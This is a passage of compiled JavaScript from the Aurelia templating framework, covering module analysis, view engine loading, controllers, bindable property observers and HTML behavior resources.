resourceTypeMeta.name = _hyphenate(key);
}
this.metadata = resourceTypeMeta;
this.value = exportedValue;
}
ResourceDescription.prototype.initialize = function initialize(container) {
this.metadata.initialize(container, this.value);
};
ResourceDescription.prototype.register = function register(registry, name) {
this.metadata.register(registry, name);
};
ResourceDescription.prototype.load = function load(container, loadContext) {
return this.metadata.load(container, this.value, loadContext);
};
return ResourceDescription;
}();
var ModuleAnalyzer = exports.ModuleAnalyzer = function () {
function ModuleAnalyzer() {
this.cache = Object.create(null);
}
ModuleAnalyzer.prototype.getAnalysis = function getAnalysis(moduleId) {
return this.cache[moduleId];
};
ModuleAnalyzer.prototype.analyze = function analyze(moduleId, moduleInstance, mainResourceKey) {
var mainResource = void 0;
var fallbackValue = void 0;
var fallbackKey = void 0;
var resourceTypeMeta = void 0;
var key = void 0;
var exportedValue = void 0;
var resources = [];
var conventional = void 0;
var vs = void 0;
var resourceModule = void 0;
resourceModule = this.cache[moduleId];
if (resourceModule) {
return resourceModule;
}
resourceModule = new ResourceModule(moduleId);
this.cache[moduleId] = resourceModule;
if (typeof moduleInstance === 'function') {
moduleInstance = { 'default': moduleInstance };
}
if (mainResourceKey) {
mainResource = new ResourceDescription(mainResourceKey, moduleInstance[mainResourceKey]);
}
for (key in moduleInstance) {
exportedValue = moduleInstance[key];
if (key === mainResourceKey || typeof exportedValue !== 'function') {
continue;
}
resourceTypeMeta = _aureliaMetadata.metadata.get(_aureliaMetadata.metadata.resource, exportedValue);
if (resourceTypeMeta) {
if (resourceTypeMeta.attributeName === null && resourceTypeMeta.elementName === null) {
HtmlBehaviorResource.convention(key, resourceTypeMeta);
}
if (resourceTypeMeta.attributeName === null && resourceTypeMeta.elementName === null) {
resourceTypeMeta.elementName = _hyphenate(key);
}
if (!mainResource && resourceTypeMeta instanceof HtmlBehaviorResource && resourceTypeMeta.elementName !== null) {
mainResource = new ResourceDescription(key, exportedValue, resourceTypeMeta);
} else {
resources.push(new ResourceDescription(key, exportedValue, resourceTypeMeta));
}
} else if (viewStrategy.decorates(exportedValue)) {
vs = exportedValue;
} else if (exportedValue instanceof _aureliaLoader.TemplateRegistryEntry) {
vs = new TemplateRegistryViewStrategy(moduleId, exportedValue);
} else {
if (conventional = HtmlBehaviorResource.convention(key)) {
if (conventional.elementName !== null && !mainResource) {
mainResource = new ResourceDescription(key, exportedValue, conventional);
} else {
resources.push(new ResourceDescription(key, exportedValue, conventional));
}
_aureliaMetadata.metadata.define(_aureliaMetadata.metadata.resource, conventional, exportedValue);
} else if (conventional = _aureliaBinding.ValueConverterResource.convention(key) || _aureliaBinding.BindingBehaviorResource.convention(key) || ViewEngineHooksResource.convention(key)) {
resources.push(new ResourceDescription(key, exportedValue, conventional));
_aureliaMetadata.metadata.define(_aureliaMetadata.metadata.resource, conventional, exportedValue);
} else if (!fallbackValue) {
fallbackValue = exportedValue;
fallbackKey = key;
}
}
}
if (!mainResource && fallbackValue) {
mainResource = new ResourceDescription(fallbackKey, fallbackValue);
}
resourceModule.moduleInstance = moduleInstance;
resourceModule.mainResource = mainResource;
resourceModule.resources = resources;
resourceModule.viewStrategy = vs;
return resourceModule;
};
return ModuleAnalyzer;
}();
var logger = LogManager.getLogger('templating');
function ensureRegistryEntry(loader, urlOrRegistryEntry) {
if (urlOrRegistryEntry instanceof _aureliaLoader.TemplateRegistryEntry) {
return Promise.resolve(urlOrRegistryEntry);
}
return loader.loadTemplate(urlOrRegistryEntry);
}
var ProxyViewFactory = function () {
function ProxyViewFactory(promise) {
var _this9 = this;
promise.then(function (x) {
return _this9.viewFactory = x;
});
}
ProxyViewFactory.prototype.create = function create(container, bindingContext, createInstruction, element) {
return this.viewFactory.create(container, bindingContext, createInstruction, element);
};
ProxyViewFactory.prototype.setCacheSize = function setCacheSize(size, doNotOverrideIfAlreadySet) {
this.viewFactory.setCacheSize(size, doNotOverrideIfAlreadySet);
};
ProxyViewFactory.prototype.getCachedView = function getCachedView() {
return this.viewFactory.getCachedView();
};
ProxyViewFactory.prototype.returnViewToCache = function returnViewToCache(view) {
this.viewFactory.returnViewToCache(view);
};
_createClass(ProxyViewFactory, [{
key: 'isCaching',
get: function get() {
return this.viewFactory.isCaching;
}
}]);
return ProxyViewFactory;
}();
var ViewEngine = exports.ViewEngine = (_dec8 = (0, _aureliaDependencyInjection.inject)(_aureliaLoader.Loader, _aureliaDependencyInjection.Container, ViewCompiler, ModuleAnalyzer, ViewResources), _dec8(_class14 = (_temp4 = _class15 = function () {
function ViewEngine(loader, container, viewCompiler, moduleAnalyzer, appResources) {
this.loader = loader;
this.container = container;
this.viewCompiler = viewCompiler;
this.moduleAnalyzer = moduleAnalyzer;
this.appResources = appResources;
this._pluginMap = {};
var auSlotBehavior = new HtmlBehaviorResource();
auSlotBehavior.attributeName = 'au-slot';
auSlotBehavior.initialize(container, SlotCustomAttribute);
auSlotBehavior.register(appResources);
}
ViewEngine.prototype.addResourcePlugin = function addResourcePlugin(extension, implementation) {
var name = extension.replace('.', '') + '-resource-plugin';
this._pluginMap[extension] = name;
this.loader.addPlugin(name, implementation);
};
ViewEngine.prototype.loadViewFactory = function loadViewFactory(urlOrRegistryEntry, compileInstruction, loadContext, target) {
var _this10 = this;
loadContext = loadContext || new ResourceLoadContext();
return ensureRegistryEntry(this.loader, urlOrRegistryEntry).then(function (registryEntry) {
if (registryEntry.onReady) {
if (!loadContext.hasDependency(urlOrRegistryEntry)) {
loadContext.addDependency(urlOrRegistryEntry);
return registryEntry.onReady;
}
if (registryEntry.template === null) {
return registryEntry.onReady;
}
return Promise.resolve(new ProxyViewFactory(registryEntry.onReady));
}
loadContext.addDependency(urlOrRegistryEntry);
registryEntry.onReady = _this10.loadTemplateResources(registryEntry, compileInstruction, loadContext, target).then(function (resources) {
registryEntry.resources = resources;
if (registryEntry.template === null) {
return registryEntry.factory = null;
}
var viewFactory = _this10.viewCompiler.compile(registryEntry.template, resources, compileInstruction);
return registryEntry.factory = viewFactory;
});
return registryEntry.onReady;
});
};
ViewEngine.prototype.loadTemplateResources = function loadTemplateResources(registryEntry, compileInstruction, loadContext, target) {
var resources = new ViewResources(this.appResources, registryEntry.address);
var dependencies = registryEntry.dependencies;
var importIds = void 0;
var names = void 0;
compileInstruction = compileInstruction || ViewCompileInstruction.normal;
if (dependencies.length === 0 && !compileInstruction.associatedModuleId) {
return Promise.resolve(resources);
}
importIds = dependencies.map(function (x) {
return x.src;
});
names = dependencies.map(function (x) {
return x.name;
});
logger.debug('importing resources for ' + registryEntry.address, importIds);
if (target) {
var viewModelRequires = _aureliaMetadata.metadata.get(ViewEngine.viewModelRequireMetadataKey, target);
if (viewModelRequires) {
var templateImportCount = importIds.length;
for (var i = 0, ii = viewModelRequires.length; i < ii; ++i) {
var req = viewModelRequires[i];
var importId = typeof req === 'function' ? _aureliaMetadata.Origin.get(req).moduleId : (0, _aureliaPath.relativeToFile)(req.src || req, registryEntry.address);
if (importIds.indexOf(importId) === -1) {
importIds.push(importId);
names.push(req.as);
}
}
logger.debug('importing ViewModel resources for ' + compileInstruction.associatedModuleId, importIds.slice(templateImportCount));
}
}
return this.importViewResources(importIds, names, resources, compileInstruction, loadContext);
};
ViewEngine.prototype.importViewModelResource = function importViewModelResource(moduleImport, moduleMember) {
var _this11 = this;
return this.loader.loadModule(moduleImport).then(function (viewModelModule) {
var normalizedId = _aureliaMetadata.Origin.get(viewModelModule).moduleId;
var resourceModule = _this11.moduleAnalyzer.analyze(normalizedId, viewModelModule, moduleMember);
if (!resourceModule.mainResource) {
throw new Error('No view model found in module "' + moduleImport + '".');
}
resourceModule.initialize(_this11.container);
return resourceModule.mainResource;
});
};
ViewEngine.prototype.importViewResources = function importViewResources(moduleIds, names, resources, compileInstruction, loadContext) {
var _this12 = this;
loadContext = loadContext || new ResourceLoadContext();
compileInstruction = compileInstruction || ViewCompileInstruction.normal;
moduleIds = moduleIds.map(function (x) {
return _this12._applyLoaderPlugin(x);
});
return this.loader.loadAllModules(moduleIds).then(function (imports) {
var i = void 0;
var ii = void 0;
var analysis = void 0;
var normalizedId = void 0;
var current = void 0;
var associatedModule = void 0;
var container = _this12.container;
var moduleAnalyzer = _this12.moduleAnalyzer;
var allAnalysis = new Array(imports.length);
for (i = 0, ii = imports.length; i < ii; ++i) {
current = imports[i];
normalizedId = _aureliaMetadata.Origin.get(current).moduleId;
analysis = moduleAnalyzer.analyze(normalizedId, current);
analysis.initialize(container);
analysis.register(resources, names[i]);
allAnalysis[i] = analysis;
}
if (compileInstruction.associatedModuleId) {
associatedModule = moduleAnalyzer.getAnalysis(compileInstruction.associatedModuleId);
if (associatedModule) {
associatedModule.register(resources);
}
}
for (i = 0, ii = allAnalysis.length; i < ii; ++i) {
allAnalysis[i] = allAnalysis[i].load(container, loadContext);
}
return Promise.all(allAnalysis).then(function () {
return resources;
});
});
};
ViewEngine.prototype._applyLoaderPlugin = function _applyLoaderPlugin(id) {
var index = id.lastIndexOf('.');
if (index !== -1) {
var ext = id.substring(index);
var pluginName = this._pluginMap[ext];
if (pluginName === undefined) {
return id;
}
return this.loader.applyPluginToUrl(id, pluginName);
}
return id;
};
return ViewEngine;
}(), _class15.viewModelRequireMetadataKey = 'aurelia:view-model-require', _temp4)) || _class14);
var Controller = exports.Controller = function () {
function Controller(behavior, instruction, viewModel, container) {
this.behavior = behavior;
this.instruction = instruction;
this.viewModel = viewModel;
this.isAttached = false;
this.view = null;
this.isBound = false;
this.scope = null;
this.container = container;
this.elementEvents = container.elementEvents || null;
var observerLookup = behavior.observerLocator.getOrCreateObserversLookup(viewModel);
var handlesBind = behavior.handlesBind;
var attributes = instruction.attributes;
var boundProperties = this.boundProperties = [];
var properties = behavior.properties;
var i = void 0;
var ii = void 0;
behavior._ensurePropertiesDefined(viewModel, observerLookup);
for (i = 0, ii = properties.length; i < ii; ++i) {
properties[i]._initialize(viewModel, observerLookup, attributes, handlesBind, boundProperties);
}
}
Controller.prototype.created = function created(owningView) {
if (this.behavior.handlesCreated) {
this.viewModel.created(owningView, this.view);
}
};
Controller.prototype.automate = function automate(overrideContext, owningView) {
this.view.bindingContext = this.viewModel;
this.view.overrideContext = overrideContext || (0, _aureliaBinding.createOverrideContext)(this.viewModel);
this.view._isUserControlled = true;
if (this.behavior.handlesCreated) {
this.viewModel.created(owningView || null, this.view);
}
this.bind(this.view);
};
Controller.prototype.bind = function bind(scope) {
var skipSelfSubscriber = this.behavior.handlesBind;
var boundProperties = this.boundProperties;
var i = void 0;
var ii = void 0;
var x = void 0;
var observer = void 0;
var selfSubscriber = void 0;
if (this.isBound) {
if (this.scope === scope) {
return;
}
this.unbind();
}
this.isBound = true;
this.scope = scope;
for (i = 0, ii = boundProperties.length; i < ii; ++i) {
x = boundProperties[i];
observer = x.observer;
selfSubscriber = observer.selfSubscriber;
observer.publishing = false;
if (skipSelfSubscriber) {
observer.selfSubscriber = null;
}
x.binding.bind(scope);
observer.call();
observer.publishing = true;
observer.selfSubscriber = selfSubscriber;
}
var overrideContext = void 0;
if (this.view !== null) {
if (skipSelfSubscriber) {
this.view.viewModelScope = scope;
}
if (this.viewModel === scope.overrideContext.bindingContext) {
overrideContext = scope.overrideContext;
} else if (this.instruction.inheritBindingContext) {
overrideContext = (0, _aureliaBinding.createOverrideContext)(this.viewModel, scope.overrideContext);
} else {
overrideContext = (0, _aureliaBinding.createOverrideContext)(this.viewModel);
overrideContext.__parentOverrideContext = scope.overrideContext;
}
this.view.bind(this.viewModel, overrideContext);
} else if (skipSelfSubscriber) {
overrideContext = scope.overrideContext;
if (scope.overrideContext.__parentOverrideContext !== undefined && this.viewModel.viewFactory && this.viewModel.viewFactory.factoryCreateInstruction.partReplacements) {
overrideContext = Object.assign({}, scope.overrideContext);
overrideContext.parentOverrideContext = scope.overrideContext.__parentOverrideContext;
}
this.viewModel.bind(scope.bindingContext, overrideContext);
}
};
Controller.prototype.unbind = function unbind() {
if (this.isBound) {
var _boundProperties = this.boundProperties;
var _i2 = void 0;
var _ii2 = void 0;
this.isBound = false;
this.scope = null;
if (this.view !== null) {
this.view.unbind();
}
if (this.behavior.handlesUnbind) {
this.viewModel.unbind();
}
if (this.elementEvents !== null) {
this.elementEvents.disposeAll();
}
for (_i2 = 0, _ii2 = _boundProperties.length; _i2 < _ii2; ++_i2) {
_boundProperties[_i2].binding.unbind();
}
}
};
Controller.prototype.attached = function attached() {
if (this.isAttached) {
return;
}
this.isAttached = true;
if (this.behavior.handlesAttached) {
this.viewModel.attached();
}
if (this.view !== null) {
this.view.attached();
}
};
Controller.prototype.detached = function detached() {
if (this.isAttached) {
this.isAttached = false;
if (this.view !== null) {
this.view.detached();
}
if (this.behavior.handlesDetached) {
this.viewModel.detached();
}
}
};
return Controller;
}();
var BehaviorPropertyObserver = exports.BehaviorPropertyObserver = (_dec9 = (0, _aureliaBinding.subscriberCollection)(), _dec9(_class16 = function () {
function BehaviorPropertyObserver(taskQueue, obj, propertyName, selfSubscriber, initialValue) {
this.taskQueue = taskQueue;
this.obj = obj;
this.propertyName = propertyName;
this.notqueued = true;
this.publishing = false;
this.selfSubscriber = selfSubscriber;
this.currentValue = this.oldValue = initialValue;
}
BehaviorPropertyObserver.prototype.getValue = function getValue() {
return this.currentValue;
};
BehaviorPropertyObserver.prototype.setValue = function setValue(newValue) {
var oldValue = this.currentValue;
if (oldValue !== newValue) {
this.oldValue = oldValue;
this.currentValue = newValue;
if (this.publishing && this.notqueued) {
if (this.taskQueue.flushing) {
this.call();
} else {
this.notqueued = false;
this.taskQueue.queueMicroTask(this);
}
}
}
};
BehaviorPropertyObserver.prototype.call = function call() {
var oldValue = this.oldValue;
var newValue = this.currentValue;
this.notqueued = true;
if (newValue === oldValue) {
return;
}
if (this.selfSubscriber) {
this.selfSubscriber(newValue, oldValue);
}
this.callSubscribers(newValue, oldValue);
this.oldValue = newValue;
};
BehaviorPropertyObserver.prototype.subscribe = function subscribe(context, callable) {
this.addSubscriber(context, callable);
};
BehaviorPropertyObserver.prototype.unsubscribe = function unsubscribe(context, callable) {
this.removeSubscriber(context, callable);
};
return BehaviorPropertyObserver;
}()) || _class16);
function getObserver(behavior, instance, name) {
var lookup = instance.__observers__;
if (lookup === undefined) {
if (!behavior.isInitialized) {
behavior.initialize(_aureliaDependencyInjection.Container.instance || new _aureliaDependencyInjection.Container(), instance.constructor);
}
lookup = behavior.observerLocator.getOrCreateObserversLookup(instance);
behavior._ensurePropertiesDefined(instance, lookup);
}
return lookup[name];
}
var BindableProperty = exports.BindableProperty = function () {
function BindableProperty(nameOrConfig) {
if (typeof nameOrConfig === 'string') {
this.name = nameOrConfig;
} else {
Object.assign(this, nameOrConfig);
}
this.attribute = this.attribute || _hyphenate(this.name);
if (this.defaultBindingMode === null || this.defaultBindingMode === undefined) {
this.defaultBindingMode = _aureliaBinding.bindingMode.oneWay;
}
this.changeHandler = this.changeHandler || null;
this.owner = null;
this.descriptor = null;
}
BindableProperty.prototype.registerWith = function registerWith(target, behavior, descriptor) {
behavior.properties.push(this);
behavior.attributes[this.attribute] = this;
this.owner = behavior;
if (descriptor) {
this.descriptor = descriptor;
return this._configureDescriptor(behavior, descriptor);
}
return undefined;
};
BindableProperty.prototype._configureDescriptor = function _configureDescriptor(behavior, descriptor) {
var name = this.name;
descriptor.configurable = true;
descriptor.enumerable = true;
if ('initializer' in descriptor) {
this.defaultValue = descriptor.initializer;
delete descriptor.initializer;
delete descriptor.writable;
}
if ('value' in descriptor) {
this.defaultValue = descriptor.value;
delete descriptor.value;
delete descriptor.writable;
}
descriptor.get = function () {
return getObserver(behavior, this, name).getValue();
};
descriptor.set = function (value) {
getObserver(behavior, this, name).setValue(value);
};
descriptor.get.getObserver = function (obj) {
return getObserver(behavior, obj, name);
};
return descriptor;
};
BindableProperty.prototype.defineOn = function defineOn(target, behavior) {
var name = this.name;
var handlerName = void 0;
if (this.changeHandler === null) {
handlerName = name + 'Changed';
if (handlerName in target.prototype) {
this.changeHandler = handlerName;
}
}
if (this.descriptor === null) {
Object.defineProperty(target.prototype, name, this._configureDescriptor(behavior, {}));
}
};
BindableProperty.prototype.createObserver = function createObserver(viewModel) {
var selfSubscriber = null;
var defaultValue = this.defaultValue;
var changeHandlerName = this.changeHandler;
var name = this.name;
var initialValue = void 0;
if (this.hasOptions) {
return undefined;
}
if (changeHandlerName in viewModel) {
if ('propertyChanged' in viewModel) {
selfSubscriber = function selfSubscriber(newValue, oldValue) {
viewModel[changeHandlerName](newValue, oldValue);
viewModel.propertyChanged(name, newValue, oldValue);
};
} else {
selfSubscriber = function selfSubscriber(newValue, oldValue) {
return viewModel[changeHandlerName](newValue, oldValue);
};
}
} else if ('propertyChanged' in viewModel) {
selfSubscriber = function selfSubscriber(newValue, oldValue) {
return viewModel.propertyChanged(name, newValue, oldValue);
};
} else if (changeHandlerName !== null) {
throw new Error('Change handler ' + changeHandlerName + ' was specified but not declared on the class.');
}
if (defaultValue !== undefined) {
initialValue = typeof defaultValue === 'function' ? defaultValue.call(viewModel) : defaultValue;
}
return new BehaviorPropertyObserver(this.owner.taskQueue, viewModel, this.name, selfSubscriber, initialValue);
};
BindableProperty.prototype._initialize = function _initialize(viewModel, observerLookup, attributes, behaviorHandlesBind, boundProperties) {
var selfSubscriber = void 0;
var observer = void 0;
var attribute = void 0;
var defaultValue = this.defaultValue;
if (this.isDynamic) {
for (var key in attributes) {
this._createDynamicProperty(viewModel, observerLookup, behaviorHandlesBind, key, attributes[key], boundProperties);
}
} else if (!this.hasOptions) {
observer = observerLookup[this.name];
if (attributes !== null) {
selfSubscriber = observer.selfSubscriber;
attribute = attributes[this.attribute];
if (behaviorHandlesBind) {
observer.selfSubscriber = null;
}
if (typeof attribute === 'string') {
viewModel[this.name] = attribute;
observer.call();
} else if (attribute) {
boundProperties.push({ observer: observer, binding: attribute.createBinding(viewModel) });
} else if (defaultValue !== undefined) {
observer.call();
}
observer.selfSubscriber = selfSubscriber;
}
observer.publishing = true;
}
};
BindableProperty.prototype._createDynamicProperty = function _createDynamicProperty(viewModel, observerLookup, behaviorHandlesBind, name, attribute, boundProperties) {
var changeHandlerName = name + 'Changed';
var selfSubscriber = null;
var observer = void 0;
var info = void 0;
if (changeHandlerName in viewModel) {
if ('propertyChanged' in viewModel) {
selfSubscriber = function selfSubscriber(newValue, oldValue) {
viewModel[changeHandlerName](newValue, oldValue);
viewModel.propertyChanged(name, newValue, oldValue);
};
} else {
selfSubscriber = function selfSubscriber(newValue, oldValue) {
return viewModel[changeHandlerName](newValue, oldValue);
};
}
} else if ('propertyChanged' in viewModel) {
selfSubscriber = function selfSubscriber(newValue, oldValue) {
return viewModel.propertyChanged(name, newValue, oldValue);
};
}
observer = observerLookup[name] = new BehaviorPropertyObserver(this.owner.taskQueue, viewModel, name, selfSubscriber);
Object.defineProperty(viewModel, name, {
configurable: true,
enumerable: true,
get: observer.getValue.bind(observer),
set: observer.setValue.bind(observer)
});
if (behaviorHandlesBind) {
observer.selfSubscriber = null;
}
if (typeof attribute === 'string') {
viewModel[name] = attribute;
observer.call();
} else if (attribute) {
info = { observer: observer, binding: attribute.createBinding(viewModel) };
boundProperties.push(info);
}
observer.publishing = true;
observer.selfSubscriber = selfSubscriber;
};
return BindableProperty;
}();
var lastProviderId = 0;
function nextProviderId() {
return ++lastProviderId;
}
function doProcessContent() {
return true;
}
function doProcessAttributes() {}
var HtmlBehaviorResource = exports.HtmlBehaviorResource = function () {
function HtmlBehaviorResource() {
this.elementName = null;
this.attributeName = null;
this.attributeDefaultBindingMode = undefined;
this.liftsContent = false;
this.targetShadowDOM = false;
this.shadowDOMOptions = null;
this.processAttributes = doProcessAttributes;
this.processContent = doProcessContent;
this.usesShadowDOM = false;
this.childBindings = null;
this.hasDynamicOptions = false;
this.containerless = false;
this.properties = [];
this.attributes = {};
this.isInitialized = false;
this.primaryProperty = null;
}
HtmlBehaviorResource.convention = function convention(name, existing) {
var behavior = void 0;
if (name.endsWith('CustomAttribute')) {
behavior = existing || new HtmlBehaviorResource();
behavior.attributeName = _hyphenate(name.substring(0, name.length - 15));
}
if (name.endsWith('CustomElement')) {
behavior = existing || new HtmlBehaviorResource();
behavior.elementName = _hyphenate(name.substring(0, name.length - 13));
}
return behavior;
};
HtmlBehaviorResource.prototype.addChildBinding = function addChildBinding(behavior) {
if (this.childBindings === null) {
this.childBindings = [];
}
this.childBindings.push(behavior);
};
HtmlBehaviorResource.prototype.initialize = function initialize(container, target) {
var proto = target.prototype;
var properties = this.properties;
var attributeName = this.attributeName;
var attributeDefaultBindingMode = this.attributeDefaultBindingMode;
var i = void 0;
var ii = void 0;
var current = void 0;
if (this.isInitialized) {
return;
}
this.isInitialized = true;
target.__providerId__ = nextProviderId();
this.observerLocator = container.get(_aureliaBinding.ObserverLocator);
this.taskQueue = container.get(_aureliaTaskQueue.TaskQueue);
this.target = target;
this.usesShadowDOM = this.targetShadowDOM && _aureliaPal.FEATURE.shadowDOM;
this.handlesCreated = 'created' in proto;
this.handlesBind = 'bind' in proto;
this.handlesUnbind = 'unbind' in proto;
this.handlesAttached = 'attached' in proto;
this.handlesDetached = 'detached' in proto;
this.htmlName = this.elementName || this.attributeName;
if (attributeName !== null) {
if (properties.length === 0) {
new BindableProperty({
name: 'value',
changeHandler: 'valueChanged' in proto ? 'valueChanged' : null,
attribute: attributeName,
defaultBindingMode: attributeDefaultBindingMode
}).registerWith(target, this);
}
current = properties[0];
if (properties.length === 1 && current.name === 'value') {
current.isDynamic = current.hasOptions = this.hasDynamicOptions;
current.defineOn(target, this);
} else {
for (i = 0, ii = properties.length; i < ii; ++i) {
properties[i].defineOn(target, this);
if (properties[i].primaryProperty) {
if (this.primaryProperty) {
throw new Error('Only one bindable property on a custom element can be defined as the default');
}
this.primaryProperty = properties[i];
}
}
current = new BindableProperty({
name: 'value',
changeHandler: 'valueChanged' in proto ? 'valueChanged' : null,
attribute: attributeName,
defaultBindingMode: attributeDefaultBindingMode
});
current.hasOptions = true;
current.registerWith(target, this);
}
} else {
for (i = 0, ii = properties.length; i < ii; ++i) {
properties[i].defineOn(target, this);
}
}
};
HtmlBehaviorResource.prototype.register = function register(registry, name) {
var _this13 = this;
if (this.attributeName !== null) {
registry.registerAttribute(name || this.attributeName, this, this.attributeName);
if (Array.isArray(this.aliases)) {
this.aliases.forEach(function (alias) {
registry.registerAttribute(alias, _this13, _this13.attributeName);
});
}
}
if (this.elementName !== null) {
registry.registerElement(name || this.elementName, this);
}
};
HtmlBehaviorResource.prototype.load = function load(container, target, loadContext, viewStrategy, transientView) {
var _this14 = this;
var options = void 0;
if (this.elementName !== null) {
viewStrategy = container.get(ViewLocator).getViewStrategy(viewStrategy || this.viewStrategy || target);
options = new ViewCompileInstruction(this.targetShadowDOM, true);
if (!viewStrategy.moduleId) {
viewStrategy.moduleId = _aureliaMetadata.Origin.get(target).moduleId;
}
return viewStrategy.loadViewFactory(container.get(ViewEngine), options, loadContext, target).then(function (viewFactory) {
if (!transientView || !_this14.viewFactory) {
_this14.viewFactory = viewFactory;
}
return viewFactory;
});
}
return Promise.resolve(this);
};
HtmlBehaviorResource.prototype.compile = function compile(compiler, resources, node, instruction, parentNode) {
if (this.liftsContent) {
if (!instruction.viewFactory) {
var template = _aureliaPal.DOM.createElement('template');
var fragment = _aureliaPal.DOM.createDocumentFragment();
var cacheSize = node.getAttribute('view-cache');
var part = node.getAttribute('part');
node.removeAttribute(instruction.originalAttrName);
_aureliaPal.DOM.replaceNode(template, node, parentNode);
fragment.appendChild(node);
instruction.viewFactory = compiler.compile(fragment, resources);
if (part) {
instruction.viewFactory.part = part;
node.removeAttribute('part');
}
if (cacheSize) {
instruction.viewFactory.setCacheSize(cacheSize);
node.removeAttribute('view-cache');
}
node = template;
}
} else if (this.elementName !== null) {
var _partReplacements2 = {};
if (this.processContent(compiler, resources, node, instruction) && node.hasChildNodes()) {
var currentChild = node.firstChild;
var contentElement = this.usesShadowDOM ? null : _aureliaPal.DOM.createElement('au-content');
var nextSibling = void 0;
var toReplace = void 0;
while (currentChild) {
nextSibling = currentChild.nextSibling;
if (currentChild.tagName === 'TEMPLATE' && (toReplace = currentChild.getAttribute('replace-part'))) {
_partReplacements2[toReplace] = compiler.compile(currentChild, resources);
_aureliaPal.DOM.removeNode(currentChild, parentNode);
instruction.partReplacements = _partReplacements2;
} else if (contentElement !== null) {
if (currentChild.nodeType === 3 && _isAllWhitespace(currentChild)) {
_aureliaPal.DOM.removeNode(currentChild, parentNode);
} else {
contentElement.appendChild(currentChild);
}
}
currentChild = nextSibling;
}
if (contentElement !== null && contentElement.hasChildNodes()) {
node.appendChild(contentElement);
}
instruction.skipContentProcessing = false;
} else {
instruction.skipContentProcessing = true;
}
}
return node;
};
HtmlBehaviorResource.prototype.create = function create(container, instruction, element, bindings) {
var viewHost = void 0;
var au = null;
instruction = instruction || BehaviorInstruction.normal;
element = element || null;
bindings = bindings || null;
if (this.elementName !== null && element) {
if (this.usesShadowDOM) {
viewHost = element.attachShadow(this.shadowDOMOptions);
container.registerInstance(_aureliaPal.DOM.boundary, viewHost);
} else {
viewHost = element;
if (this.targetShadowDOM) {
container.registerInstance(_aureliaPal.DOM.boundary, viewHost);
}
}
}
if (element !== null) {
element.au = au = element.au || {};
}
var viewModel = instruction.viewModel || container.get(this.target);
var controller = new Controller(this, instruction, viewModel, container);
var childBindings = this.childBindings;
var viewFactory = void 0;
if (this.liftsContent) {
au.controller = controller;
} else if (this.elementName !== null) {
viewFactory = instruction.viewFactory || this.viewFactory;
container.viewModel = viewModel;
if (viewFactory) {
controller.view = viewFactory.create(container, instruction, element);
}
if (element !== null) {
au.controller = controller;
if (controller.view) {
if (!this.usesShadowDOM && (element.childNodes.length === 1 || element.contentElement)) {
var contentElement = element.childNodes[0] || element.contentElement;
controller.view.contentView = { fragment: contentElement };
contentElement.parentNode && _aureliaPal.DOM.removeNode(contentElement);
}
if (instruction.anchorIsContainer) {
if (childBindings !== null) {
for (var _i3 = 0, _ii3 = childBindings.length; _i3 < _ii3; ++_i3) {
controller.view.addBinding(childBindings[_i3].create(element, viewModel, controller));
}
}
controller.view.appendNodesTo(viewHost);
} else {
controller.view.insertNodesBefore(viewHost);
}
} else if (childBindings !== null) {
for (var _i4 = 0, _ii4 = childBindings.length; _i4 < _ii4; ++_i4) {
bindings.push(childBindings[_i4].create(element, viewModel, controller));
}
}
} else if (controller.view) {
controller.view.controller = controller;
if (childBindings !== null) {
for (var _i5 = 0, _ii5 = childBindings.length; _i5 < _ii5; ++_i5) {
controller.view.addBinding(childBindings[_i5].create(instruction.host, viewModel, controller));
}
}
} else if (childBindings !== null) {
for (var _i6 = 0, _ii6 = childBindings.length; _i6 < _ii6; ++_i6) {
bindings.push(childBindings[_i6].create(instruction.host, viewModel, controller));
}
}
} else if (childBindings !== null) {
for (var _i7 = 0, _ii7 = childBindings.length; _i7 < _ii7; ++_i7) {
bindings.push(childBindings[_i7].create(element, viewModel, controller));
}
}
if (au !== null) {
au[this.htmlName] = controller;
}
if (instruction.initiatedByBehavior && viewFactory) {
controller.view.created();
}
return controller;
};
HtmlBehaviorResource.prototype._ensurePropertiesDefined = function _ensurePropertiesDefined(instance, lookup) {
var properties = void 0;
var i = void 0;
var ii = void 0;
var observer = void 0;
if ('__propertiesDefined__' in lookup) {
return;
}
lookup.__propertiesDefined__ = true;
properties = this.properties;
for (i = 0, ii = properties.length; i < ii; ++i) {
observer = properties[i].createObserver(instance);
if (observer !== undefined) {
lookup[observer.propertyName] = observer;
}
}
};
return HtmlBehaviorResource;
}();
function createChildObserverDecorator(selectorOrConfig, all) {
return function (target, key, descriptor) {
var actualTarget = typeof key === 'string' ? target.constructor : target;
var r = _aureliaMetadata.metadata.getOrCreateOwn(_aureliaMetadata.metadata.resource, HtmlBehaviorResource, actualTarget);
if (typeof selectorOrConfig === 'string') {
selectorOrConfig = {
selector: selectorOrConfig,
name: key
};
}
if (descriptor) {
descriptor.writable = true;
descriptor.configurable = true;
}
selectorOrConfig.all = all;
r.addChildBinding(new ChildObserver(selectorOrConfig));
};
}
function children(selectorOrConfig) {
return createChildObserverDecorator(selectorOrConfig, true);
}
function child(selectorOrConfig) {
return createChildObserverDecorator(selectorOrConfig, false);
}
var ChildObserver = function () {
function ChildObserver(config) {
this.name = config.name;
this.changeHandler = config.changeHandler || this.name + 'Changed';
this.selector = config.selector;
this.all = config.all;
}
ChildObserver.prototype.create = function create(viewHost, viewModel, controller) {
return new ChildObserverBinder(this.selector, viewHost, this.name, viewModel, controller, this.changeHandler, this.all);
};
return ChildObserver;
}();
var noMutations = [];
function trackMutation(groupedMutations, binder, record) {
var mutations = groupedMutations.get(binder);
if (!mutations) {
mutations = [];
groupedMutations.set(binder, mutations);
}
mutations.push(record);
}
function onChildChange(mutations, observer) {
var binders = observer.binders;
var bindersLength = binders.length;
var groupedMutations = new Map();
for (var _i8 = 0, _ii8 = mutations.length; _i8 < _ii8; ++_i8) {
var record = mutations[_i8];
var added = record.addedNodes;
var removed = record.removedNodes;
for (var j = 0, jj = removed.length; j < jj; ++j) {
var node = removed[j];
if (node.nodeType === 1) {
for (var k = 0; k < bindersLength; ++k) {
var binder = binders[k];
if (binder.onRemove(node)) {
trackMutation(groupedMutations, binder, record);
}
}
}
}
for (var _j = 0, _jj = added.length; _j < _jj; ++_j) {
var _node = added[_j];
if (_node.nodeType === 1) {
for (var _k = 0; _k < bindersLength; ++_k) {
var _binder = binders[_k];
if (_binder.onAdd(_node)) {
trackMutation(groupedMutations, _binder, record);
}
}
}
}
}
groupedMutations.forEach(function (value, key) {
if (key.changeHandler !== null) {
key.viewModel[key.changeHandler](value);
}
});
}
var ChildObserverBinder = function () {
